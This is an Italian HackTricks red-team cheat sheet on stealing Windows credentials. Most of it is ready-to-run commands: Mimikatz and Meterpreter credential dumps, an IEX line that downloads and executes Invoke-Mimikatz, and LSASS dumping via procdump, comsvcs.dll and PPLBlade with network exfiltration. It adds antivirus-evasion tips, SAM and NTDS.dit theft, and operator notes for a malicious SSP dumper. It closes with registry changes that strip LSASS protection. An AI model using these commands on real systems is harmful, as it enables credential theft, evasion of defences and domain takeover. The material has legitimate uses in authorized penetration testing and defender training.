Rubare credenziali Windows
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Credentials Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Trova altre cose che Mimikatz può fare in questa pagina.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Scopri qui alcune possibili protezioni per credentials. Queste protezioni potrebbero impedire a Mimikatz di estrarre alcune credentials.
Credentials con Meterpreter
Usa il Credentials Plugin che ho creato per cercare passwords e hashes all’interno della vittima.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Eludere AV
Procdump + Mimikatz
Poiché Procdump from SysInternals è uno strumento Microsoft legittimo, non viene rilevato da Defender.
Puoi usare questo strumento per dump the lsass process, download the dump e extract le credentials locally dal dump.
Puoi anche usare SharpDump.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
Questo processo viene eseguito automaticamente con SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Nota: Alcuni AV potrebbero rilevare come maligno l’uso di procdump.exe to dump lsass.exe, questo perché stanno rilevando la stringa “procdump.exe” and “lsass.exe”. Quindi è più più furtivo passare come argomento il PID di lsass.exe a procdump invece di il nome lsass.exe.
Dump di lsass con comsvcs.dll
Una DLL chiamata comsvcs.dll presente in C:\Windows\System32 è responsabile del dump della memoria del processo in caso di crash. Questa DLL include una funzione chiamata MiniDumpW, pensata per essere invocata tramite rundll32.exe.
È irrilevante usare i primi due argomenti, mentre il terzo è suddiviso in tre componenti. L’ID del processo da dumpare costituisce la prima componente, la posizione del file di dump rappresenta la seconda, e la terza componente è rigorosamente la parola full. Non esistono opzioni alternative.
Dopo aver analizzato queste tre componenti, la DLL procede a creare il file di dump e a trasferire in esso la memoria del processo specificato.
L’utilizzo della comsvcs.dll è fattibile per effettuare il dump del processo lsass, eliminando così la necessità di caricare ed eseguire procdump. Questo metodo è descritto in dettaglio su https://en.hackndo.com/remote-lsass-dump-passwords/.
Il seguente comando viene utilizzato per l’esecuzione:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Puoi automatizzare questo processo con lssasy.
Dump di lsass con Task Manager
- Clic destro sulla Task Bar e seleziona Task Manager
- Clicca su More details
- Cerca il processo “Local Security Authority Process” nella Processes tab
- Clic destro sul processo “Local Security Authority Process” e seleziona “Create dump file”.
Dumping lsass with procdump
Procdump è un binario firmato Microsoft che fa parte della suite sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Eseguire il dump di lsass con PPLBlade
PPLBlade è uno strumento per il dump di Protected Process che supporta l’offuscamento dei memory dump e il trasferimento verso workstation remote senza salvarli su disco.
Funzionalità principali:
- Bypass della protezione PPL
- Offuscamento dei memory dump per eludere i meccanismi di rilevamento basati su signature di Defender
- Upload dei memory dump tramite metodi RAW e SMB senza salvarli su disco (fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper – SSP-based LSASS dumping without MiniDumpWriteDump
Ink Dragon include un dumper in tre fasi chiamato LalsDumper che non richiama mai MiniDumpWriteDump, quindi gli hook EDR su quell’API non vengono mai attivati:
- Stage 1 loader (
lals.exe) – cerca infdp.dllun segnaposto costituito da 32 caratteridminuscoli, lo sovrascrive con il percorso assoluto dirtu.txt, salva la DLL patchata comenfdp.dlle chiamaAddSecurityPackageA("nfdp","fdp"). Questo forza LSASS a caricare la DLL malevola come nuovo Security Support Provider (SSP). - Stage 2 inside LSASS – quando LSASS carica
nfdp.dll, la DLL leggertu.txt, esegue un XOR di ogni byte con0x20e mappa il blob decodificato in memoria prima di trasferire l’esecuzione. - Stage 3 dumper – il payload mappato re-implementa la logica di MiniDump usando direct syscalls risolti da nomi di API hashati (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). Un export dedicato chiamatoTomapre%TEMP%\<pid>.ddt, scrive in streaming un dump compresso di LSASS nel file e chiude l’handle in modo che l’esfiltrazione possa avvenire più tardi.
Note per l’operatore:
- Tieni
lals.exe,fdp.dll,nfdp.dll, ertu.txtnella stessa directory. Lo Stage 1 sovrascrive il segnaposto hard-coded con il percorso assoluto dirtu.txt, quindi separarli rompe la catena. - La registrazione avviene aggiungendo
nfdpaHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Puoi impostare manualmente quel valore per far sì che LSASS ricarichi l’SSP ad ogni boot. - I file
%TEMP%\*.ddtsono dump compressi. Decomprimi localmente, poi forniscili a Mimikatz/Volatility per l’estrazione delle credenziali. - Eseguire
lals.exerichiede diritti admin/SeTcb affinchéAddSecurityPackageAvada a buon fine; una volta che la chiamata ritorna, LSASS carica in modo trasparente l’SSP rogue ed esegue lo Stage 2. - Rimuovere la DLL dal disco non la evince da LSASS. Elimina la voce di registro e riavvia LSASS (reboot) oppure lasciala per persistenza a lungo termine.
CrackMapExec
Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Estrarre i segreti di LSA
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Dump dell’NTDS.dit dal DC target
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Estrai la cronologia delle password di NTDS.dit dal DC target
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Mostra l’attributo pwdLastSet per ogni account NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
Questi file dovrebbero essere posizionati in C:\windows\system32\config\SAM e C:\windows\system32\config\SYSTEM. Ma non puoi semplicemente copiarli in modo normale perché sono protetti.
Dal registro
Il modo più semplice per rubare quei file è ottenere una copia dal registro:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Scarica quei file sulla tua macchina Kali e estrai gli hash usando:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Puoi copiare file protetti usando questo servizio. È necessario essere Administrator.
Usando vssadmin
Il binario vssadmin è disponibile solo nelle versioni di Windows Server
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Ma puoi farlo anche da Powershell. Questo è un esempio di come copiare il file SAM (l’unità usata è “C:” e viene salvato in C:\users\Public) ma puoi usare questo per copiare qualsiasi file protetto:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
Codice dal libro: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
Infine, puoi anche usare lo PS script Invoke-NinjaCopy per fare una copia di SAM, SYSTEM and ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
Il file NTDS.dit è conosciuto come il cuore di Active Directory, contenendo dati cruciali su oggetti utente, gruppi e relative appartenenze. È dove sono memorizzati gli hash delle password per gli utenti di dominio. Questo file è un database Extensible Storage Engine (ESE) e risiede in %SystemRoom%/NTDS/ntds.dit.
All’interno di questo database sono gestite tre tabelle principali:
- Data Table: Questa tabella si occupa di memorizzare i dettagli sugli oggetti come utenti e gruppi.
- Link Table: Tiene traccia delle relazioni, come le appartenenze ai gruppi.
- SD Table: Qui sono conservati i Security descriptors per ogni oggetto, garantendo sicurezza e controllo degli accessi per gli oggetti memorizzati.
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows usa Ntdsa.dll per interagire con quel file; questa DLL è utilizzata da lsass.exe. Pertanto, parte del file NTDS.dit può trovarsi all’interno della memoria di lsass (è possibile recuperare i dati più recentemente accessi, probabilmente a causa del miglioramento delle prestazioni tramite l’uso di una cache).
Decrypting the hashes inside NTDS.dit
L’hash è cifrato 3 volte:
- Decrypt Password Encryption Key (PEK) using the BOOTKEY and RC4.
- Decrypt the hash using PEK and RC4.
- Decrypt the hash using DES.
PEK ha lo stesso valore in ogni domain controller, ma è cifrato all’interno del file NTDS.dit usando il BOOTKEY del file SYSTEM del domain controller (è diverso tra domain controller). Per questo, per ottenere le credenziali dal file NTDS.dit sono necessari i file NTDS.dit e SYSTEM (C:\Windows\System32\config\SYSTEM).
Copying NTDS.dit using Ntdsutil
Available since Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Puoi anche usare il volume shadow copy trick per copiare il file ntds.dit. Ricorda che avrai anche bisogno di una copia del file SYSTEM (di nuovo, dump it from the registry or use the volume shadow copy trick).
Estrazione degli hash da NTDS.dit
Una volta che hai ottenuto i file NTDS.dit e SYSTEM puoi usare strumenti come secretsdump.py per estrarre gli hash:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Puoi anche estrarli automaticamente usando un domain admin user valido:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Per file NTDS.dit di grandi dimensioni si consiglia di estrarli usando gosecretsdump.
Infine, puoi anche utilizzare il metasploit module: post/windows/gather/credentials/domain_hashdump o mimikatz lsadump::lsa /inject
Estrazione degli oggetti di dominio da NTDS.dit in un database SQLite
Gli oggetti NTDS possono essere estratti in un database SQLite con ntdsdotsqlite. Non vengono estratti solo i segreti, ma anche gli oggetti completi e i loro attributi, utili per ulteriori analisi quando il file NTDS.dit grezzo è già stato recuperato.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
L’hive SYSTEM è opzionale ma permette la decrittazione dei segreti (NT & LM hashes, supplemental credentials come cleartext passwords, kerberos o trust keys, NT & LM password histories). Insieme ad altre informazioni, vengono estratti i seguenti dati: account utente e macchina con i loro hash, UAC flags, timestamp dell’ultimo logon e del cambio password, descrizione degli account, nomi, UPN, SPN, gruppi e membership ricorsive, albero delle organizational units e appartenenza, trusted domains con tipo di trust, direzione e attributi…
Lazagne
Scarica il binario da here. Puoi usare questo binario per estrarre credenziali da diversi software.
lazagne.exe all
Altri strumenti per estrarre credenziali da SAM e LSASS
Windows credentials Editor (WCE)
Questo strumento può essere usato per estrarre credenziali dalla memoria. Scaricalo da: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Estrae le credenziali dal file SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Estrai credenziali dal file SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Scaricalo da: http://www.tarasco.org/security/pwdump_7 e basta eseguirlo e le password verranno estratte.
Estrazione di sessioni RDP inattive e indebolimento dei controlli di sicurezza
Il RAT Ink Dragon’s FinalDraft include un tasker DumpRDPHistory le cui tecniche sono utili per qualsiasi red-teamer:
Raccolta telemetria in stile DumpRDPHistory
- Obiettivi RDP in uscita – analizza ogni hive utente in
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*. Ogni sottochiave memorizza il nome del server,UsernameHint, e la data/ora dell’ultima scrittura. Puoi replicare la logica di FinalDraft con PowerShell:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Prove RDP in ingresso – interroga il log
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationalper gli Event ID 21 (accesso riuscito) e 25 (disconnessione) per mappare chi ha amministrato la macchina:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
Una volta che sai quale Domain Admin si connette regolarmente, effettua il dump di LSASS (con LalsDumper/Mimikatz) mentre la loro sessione disconnessa è ancora presente. CredSSP + NTLM fallback lasciano il loro verifier e i token in LSASS, che possono poi essere riprodotti via SMB/WinRM per ottenere NTDS.dit o impiantare persistenza sui domain controller.
Modifiche al registry mirate da FinalDraft
Lo stesso implant modifica anche diverse chiavi del registro per rendere più facile il furto di credenziali:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
- L’impostazione
DisableRestrictedAdmin=1costringe al riutilizzo completo di credenziali/ticket durante RDP, abilitando pivot in stile pass-the-hash. LocalAccountTokenFilterPolicy=1disabilita il filtro dei token UAC, quindi gli amministratori locali ottengono token senza restrizioni sulla rete.DSRMAdminLogonBehavior=2permette all’amministratore DSRM di accedere mentre il DC è online, offrendo agli attaccanti un altro account integrato ad alto privilegio.RunAsPPL=0rimuove le protezioni LSASS PPL, rendendo l’accesso alla memoria semplice per i dumper come LalsDumper.
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


